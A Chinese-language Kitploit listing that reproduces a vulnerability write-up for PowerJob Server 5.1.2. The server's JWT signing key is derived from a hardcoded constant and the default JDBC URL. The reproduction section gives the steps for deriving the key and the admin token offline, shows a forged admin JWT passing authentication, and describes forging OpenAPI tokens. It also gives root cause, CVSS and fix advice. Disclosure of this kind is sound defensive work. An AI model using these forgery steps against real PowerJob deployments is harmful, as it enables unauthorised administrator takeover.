Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-75431_PowerJob_jwt_key_predictable — 演示了 PowerJob Server 中一个严重的 JWT 签名密钥可预测性漏洞,允许离线密钥推导和令牌伪造,从而实现管理员接管和 OpenAPI 身份验证绕过。 | Kitploit
工具/GitHubGitHub/unpredictable21/cve-2026-75431_powerjob_jwt_key_predictable
漏洞分析漏洞利用Web安全渗透测试身份验证
GitHubunpredictable21/cve-2026-75431_powerjob_jwt_key_predictable

CVE-2026-75431_PowerJob_jwt_key_predictable

演示了 PowerJob Server 中一个严重的 JWT 签名密钥可预测性漏洞,允许离线密钥推导和令牌伪造,从而实现管理员接管和 OpenAPI 身份验证绕过。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
24天前尚未审核
分享

PowerJob JWT 签名密钥可预测(密钥由默认 JDBC URL 派生)→ 令牌伪造

1. 概述

PowerJob Server 的 JWT(HS256)签名密钥是通过对硬编码常量与默认 JDBC URL 的 MD5 拼接结果进行 BASE64 解码而派生的(DefaultSecretProvider / JwtServiceImpl)。在默认部署(docker-compose / application-daily.properties)中,JDBC URL 是公开的,因此攻击者可以完全离线推导出密钥,并为任何用户(包括管理员)伪造有效的 JWT;OpenAPI 应用令牌同样可以被伪造以绕过 OpenAPI 认证。

2. 受影响产品

  • 产品: PowerJob Server(Web 控制台 7700 + OpenAPI)
  • 受影响版本: 5.1.2
  • 默认部署: application-daily.properties 以明文形式暴露 jdbc:mysql://powerjob-mysql:3306/powerjob-daily?...

3. 漏洞位置

  • powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45:return md5(environment.getProperty("spring.datasource.core.jdbc-url"));
  • powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102:硬编码的 BASE_SECURITY 常量;genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyFor
  • 该密钥与业务数据共享仓库/数据库;JDBC URL 在配置/docker-compose 中为明文。

4. 根本原因

  • 使用了可预测/可推导的密钥,而非随机、持久化的密钥:该密钥仅依赖于一个公开常量 + 公开默认 URL 的 MD5。
  • JWT 载荷(username/encryptedToken)对 PWJB 账户有二次校验(DigestUtils.rePassword(password, username)),但是:
    • 在默认密码下,该值可离线计算 → 完全接管管理员账户;
    • OpenAPI 应用令牌(声明 appId/password/encryptType)可直接被伪造以绕过认证(OpenApiSecurityServiceImpl:87-105);
    • 其他第三方登录账户可能没有二次校验。

5. 复现(已验证 — 完整端到端)

环境:本地 PowerJob 服务器(127.0.0.1:7700,JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true)。攻击者仅凭公开信息即可完全离线推导一切:

root@kitploit:~
# ① 推导 encryptedToken(= rePassword(password, username));使用默认密码即可计算
rePassword("powerjob_admin", "ADMIN")
   = ADMIN_b82a450701f6a71723fb99931fe35e18_b      # 与数据库 user_info.token_login_verify_info 逐字节一致 ✅

# ② 推导 HS256 签名密钥 = BASE64(BASE_SECURITY + MD5(JDBC_URL))
secret = BASE_SECURITY + md5(jdbc_url)             # 101 字节密钥

# ③ 伪造 ADMIN Web JWT(声明:username=PWJB_ADMIN,encryptedToken=①的结果,sub=PowerJob)

实际结果(伪造令牌通过认证):

root@kitploit:~
[*] /namespace/list 无令牌:
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}

[*] /namespace/list 伪造 JWT:
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}

→ 伪造的令牌以管理员身份通过认证并返回真实数据(基线请求被拒绝并返回 UserNotLoggedIn)。

关键要点:

  • 离线推导的 encryptedToken 与数据库存储的值逐字节一致(ADMIN_b82a450701f6a71723fb99931fe35e18_b)。
  • 该密钥完全由公开常量 BASE_SECURITY + 公开默认 JDBC URL 的 MD5 决定 → 无需任何凭据即可离线推导。
  • PWJB 的 encryptedToken 可使用默认密码(powerjob_admin,见 PJ-02)离线重新计算 → 完全接管管理员账户。
  • 如果管理员更改了密码,伪造 Web 令牌会被 encryptedToken 不匹配所阻止,但 OpenAPI 应用令牌路径(声明 appId/password/encryptType,OpenApiSecurityServiceImpl:87-105)仍可独立伪造以绕过 OpenAPI 认证。

即使更改了默认密码,该漏洞仍可通过其他攻击向量持续存在:

  • 攻击者通过其他途径(例如 SQL 注入、数据库备份泄露、日志泄露或其他端点的信息泄露)获取任何有效用户的 encryptedToken 后,可将该令牌与可预测的签名密钥结合,为该特定用户伪造 JWT。
  • 这完全绕过了 encryptedToken 不匹配的问题,因为伪造的令牌现在包含从实际数据库记录派生的合法 encryptedToken。
  • 因此,攻击者完全无需知道用户的明文密码,且即使用户更改密码,伪造的 JWT 仍然有效(直至令牌过期)。

PoC: powerjob_jwt_key.py 192.168.49.128:7700

image image

6. 影响

  • 认证绕过 / 任意用户令牌伪造 → Web 控制台 / OpenAPI 管理面。

7. 修复建议

  • 随机生成密钥并持久化(文件/环境变量),切勿从 JDBC URL 或常量派生。
  • 为 OpenAPI 应用令牌与 Web JWT 使用不同的密钥。
  • 对所有账户强制执行 encryptedToken 二次校验。

8. CWE / CVSS

  • CWE:CWE-321(使用硬编码加密密钥)/ CWE-798
  • CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 严重(结合默认密码 / OpenAPI)
下载工具